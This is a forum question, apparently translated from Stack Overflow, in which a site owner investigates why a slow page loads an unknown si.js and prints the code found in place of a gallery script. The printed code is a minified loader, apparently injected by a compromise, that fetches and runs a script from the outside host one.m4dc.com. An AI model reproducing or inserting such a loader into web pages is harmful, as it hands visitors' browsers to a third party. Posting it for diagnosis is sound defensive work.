【发布时间】:2018-05-02 11:15:58
【问题描述】:
我正在检查一个加载缓慢的页面,并在 chrome 的检查网络部分中发现了这个 si.js。有人可以帮我理解它是什么。我搜索了 grid.js,找不到任何指向这个 si.js 的链接。 (仔细检查,我可以看到该页面正在重定向到另一个网站“http://one.m4dc.com/j/si.js”。感谢您的帮助 这是屏幕截图
更新! 如果您转到浏览器网址,这就是我得到的 ../js/grid.js
try{var esdmd51='1f4c5553ab20a8809f7f1724448c2f6e'; var d=document;var esdfd5_uri='http://test.domain.com/js/grid.js?m4dc56=156443';if(0!=e6f744){var e6f744=0;esdfd5=!0}else esdfd5=!1;function ldS(e,t){var a=d.createElement("script");a.type="text/javascript",a.readyState?a.onreadystatechange=function(){"loaded"!=a.readyState&&"complete"!=a.readyState||(a.onreadystatechange=null,t())}:a.onload=function(){t()},a.src=e,d.getElementsByTagName("head")[0].appendChild(a)}try{vA=d.currentScript.async,vD=d.currentScript.defer}catch(e){vA=!0}vA||vD?ldS(esdfd5_uri,function(){}):(d.write('<script id="esdfd556443" type="text/javascript" src="'+esdfd5_uri+'" ><\/script>'),d.getElementById("esdfd556443")||ldS(sdfd5_uri,function(){})),esdfd5&&ldS("http://one.m4dc.com/j/si.js",function(){})}catch(e){}
但实际脚本(在本地机器上与原网站上的类似)
https://tympanus.net/Tutorials/ThumbnailGridExpandingPreview/js/grid.js
【问题讨论】:
-
什么脚本加载这个 JS 文件?
-
不确定。我检查了所有文件。 grid.js 是一个图片库脚本。以前这个 si.js 链接与另一个 js 文件 eform.js 相关(我认为这可能是问题并删除了 eform.js)一旦它被删除,脚本现在与 grid.js 链接
-
你看过剧本了吗?你能猜到它的作用吗?
-
谁开发了这个网站?
-
@Luca 不是 .js 方面的专家,但正在检查,为什么页面加载速度较慢